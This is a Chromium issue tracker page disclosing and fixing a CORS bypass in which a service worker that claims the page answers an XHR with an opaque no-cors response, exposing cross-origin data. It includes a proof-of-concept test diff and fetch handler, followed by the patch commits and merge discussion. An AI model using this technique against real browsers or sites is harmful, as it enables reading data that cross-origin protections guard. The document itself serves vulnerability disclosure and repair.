Issue metadata
Sign in to add a comment
|
Security: Bypass CORS using XHR and service workers |
||||||||||||||||||||||
Issue descriptionVULNERABILITY DETAILS As described in bug #604583 there is a problem with the way chrome decides if a request should be intercepted by a service worker in the presence of CORS preflight requests. The crash described there isn't too bad though. However combined with a few other issues the behavior there makes it possible to bypass CORS completely. To see this in action, start out with the test case from the other bug, bug modify it to use XHR to fetch the resource, something like: --- a/third_party/WebKit/LayoutTests/http/tests/serviceworker/weird-cors-test-case.html +++ b/third_party/WebKit/LayoutTests/http/tests/serviceworker/weird-cors-test-case.html @@ -16,8 +16,16 @@ promise_test(t => { .then(() => with_iframe(scope)) .then(f => { frame = f; - cors_response = frame.contentWindow.fetch('http://localhost:8888/cors-request', {method: 'PUT'}); - return service_worker_unregister_and_register(t, 'resources/claim-worker.js', scope); + //cors_response = frame.contentWindow.fetch('http://localhost:8888/cors-request', {method: 'PUT'}); + cors_response = new Promise(resolve => { + xhr = new frame.contentWindow.XMLHttpRequest(); + xhr.open('PUT', 'http://localhost:8888/cors-request'); + xhr.onreadystatechange = () => { + if (xhr.readyState == 4) resolve(xhr); + }; + xhr.send(); + }); + return service_worker_unregister_and_register(t, 'resources/claim-worker-xhr-test.js', scope); }) .then(r => { add_completion_callback(() => r.unregister()); @@ -33,6 +41,9 @@ promise_test(t => { assert_equals(reply, 'PASS'); fetch('http://localhost:8888/release'); return cors_response; + }) + .then(xhr => { + console.log(xhr.responseText); }); }, 'Should work'); For that to then be able to bypass CORS the service worker it uses is also modified to actually have a fetch handler, which simple returns with a fetch() of the cross origin resource you want to read. In my case I copied "claim-worker.js" as "claim-worker-xhr-test.js" and added an onfetch event handler as such: +self.addEventListener('fetch', function(event) { + event.respondWith(fetch('https://localhost:8443/serviceworker/resources/simple.txt', {mode: 'no-cors'})); + }); Now running the test will result in the test page (running on http://127.0.0.1:8000) to have access to data from https://localhost:8443 that didn't have CORS headers set (with cooperation from http://localhost:8888 to manage the delayed preflight response). On top of the problems in #604583 this relies on the fact that DocumentThreadableLoader leaves the fetch-request-mode of a request as "no-cors", unless it already knows a service worker is going to intercept the request (under the assumption that only service worker code cares about the fetch-request-mode). This then results in the serviceworker being able to reply with an opaque response to a request that wasn't really made as a no-cors request. Furthermore the XHR code doesn't actually check what the type of the response it got is, so it happily exposes all the data of what should have been an opaque response.
,
May 10 2016
horo@ could you look at this? This looks higher priority than Issue 604583 .
,
May 10 2016
,
May 10 2016
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/01fb3c2cf2bf84391c488f3a3dd5ef8c59cc0a51 commit 01fb3c2cf2bf84391c488f3a3dd5ef8c59cc0a51 Author: horo <horo@chromium.org> Date: Tue May 10 15:19:57 2016 Set SkipServiceWorker flag in DocumentThreadableLoader::loadActualRequest(). Before a SW controls the page, when the DTL sends a CORS preflight request, the SkipServiceWorker flag is set by RenderFrameImpl::willSendRequest(). But a new SW may be controlling the page when the DTL sends the actual request by calling clients.claim(). In such case, the request goes to the SW and causes several problems. To avoid this problem, this cl set the flag in DTL::loadActualRequest(). BUG= 604583 , 610400 Review-Url: https://codereview.chromium.org/1964823002 Cr-Commit-Position: refs/heads/master@{#392609} [modify] https://crrev.com/01fb3c2cf2bf84391c488f3a3dd5ef8c59cc0a51/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp
,
May 10 2016
I think crbug.com/610400#c4 fixed the issue. mek@ Could you please verify?
,
May 10 2016
Yep, that appears to have fixed it. I think it would still make sense to move the block in DocumentThreadableLoader::start that initializes the fetch request mode and fetch credentials mode of a request to outside the "is controlled by service worker" check, just because it's kind of weird (and not the way the spec is written) to have these attributes be part of a request but only set correctly when the request is going to be handled by a SW. Otherwise there is always the risk of somebody implementing some kind of check, assuming these attributes are set correctly, not realizing they're set to bogus values in some cases. But I'm happy to make that change myself, this crash is certainly fixed by your change.
,
May 11 2016
Adding Merge-Triage label for tracking purposes. Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Request-XX label, where XX is the Chrome milestone. When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on omahaproxy.appspot.com. - Your friendly ClusterFuzz
,
May 11 2016
mek@ Yes, I agree with you. The block should be outside the "is controlled by service worker" check. I'll create another cl.
,
May 11 2016
,
May 12 2016
01fb3c2cf2bf84391c488f3a3dd5ef8c59cc0a51 is in 52.0.2733.0 which is released in Canary channel today.
,
May 12 2016
Your change meets the bar and is auto-approved for M51 (branch: 2704)
,
May 12 2016
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/b083560ed010859fb4cdd23626ddef597d40b1f4 commit b083560ed010859fb4cdd23626ddef597d40b1f4 Author: Tsuyoshi Horo <horo@chromium.org> Date: Thu May 12 02:17:09 2016 Set SkipServiceWorker flag in DocumentThreadableLoader::loadActualRequest(). Before a SW controls the page, when the DTL sends a CORS preflight request, the SkipServiceWorker flag is set by RenderFrameImpl::willSendRequest(). But a new SW may be controlling the page when the DTL sends the actual request by calling clients.claim(). In such case, the request goes to the SW and causes several problems. To avoid this problem, this cl set the flag in DTL::loadActualRequest(). BUG= 604583 , 610400 Review-Url: https://codereview.chromium.org/1964823002 Cr-Commit-Position: refs/heads/master@{#392609} (cherry picked from commit 01fb3c2cf2bf84391c488f3a3dd5ef8c59cc0a51) Review URL: https://codereview.chromium.org/1975673002 . Cr-Commit-Position: refs/branch-heads/2704@{#516} Cr-Branched-From: 6e53600def8f60d8c632fadc70d7c1939ccea347-refs/heads/master@{#386251} [modify] https://crrev.com/b083560ed010859fb4cdd23626ddef597d40b1f4/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp
,
May 16 2016
,
May 16 2016
[Automated comment] Request affecting a post-stable build (M50), manual review required.
,
May 16 2016
Looks like an OS-All sorta deal - and we're not shipping anymore M50 builds for Android. One of the desktop folks can review and pick up for a respin if they'd like, though.
,
May 17 2016
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/90bec6d5c3d8220e4e3f1265c0913894c1f4fcd3 commit 90bec6d5c3d8220e4e3f1265c0913894c1f4fcd3 Author: horo <horo@chromium.org> Date: Tue May 17 01:14:50 2016 Set the request mode and the credentials mode even if the request will not go to ServiceWorker. As mek@ mentioned in crbug.com/610400#c6 , we should move the block in DTL::start that initializes the fetch request mode and fetch credentials mode of a request to outside the "is controlled by service worker" check. BUG= 610400 Review-Url: https://codereview.chromium.org/1976513002 Cr-Commit-Position: refs/heads/master@{#394003} [modify] https://crrev.com/90bec6d5c3d8220e4e3f1265c0913894c1f4fcd3/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp [modify] https://crrev.com/90bec6d5c3d8220e4e3f1265c0913894c1f4fcd3/third_party/WebKit/Source/core/loader/ThreadableLoaderTest.cpp [modify] https://crrev.com/90bec6d5c3d8220e4e3f1265c0913894c1f4fcd3/third_party/WebKit/Source/web/AssociatedURLLoaderTest.cpp [modify] https://crrev.com/90bec6d5c3d8220e4e3f1265c0913894c1f4fcd3/third_party/WebKit/Source/web/tests/WebFrameTest.cpp
,
May 24 2016
,
May 24 2016
@horo: does the change in #16 also need to be merged to 2704/M51? If so, you have until 4pm pacific today.
,
May 24 2016
[Automated comment] Less than 2 weeks to go before stable on M51, manual review required.
,
May 25 2016
No. We don't need to merge #16 to M51.
,
May 25 2016
Is there anything remaining here for M51? If not, please remove "Merge-Review-51" label. Thank you.
,
May 25 2016
,
May 31 2016
,
Aug 17 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
,
Nov 29
|
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by f...@chromium.org
, May 10 2016Components: Blink>SecurityFeature
Labels: Security_Severity-Medium Security_Impact-Stable M-50
Owner: falken@chromium.org
Status: Assigned (was: Unconfirmed)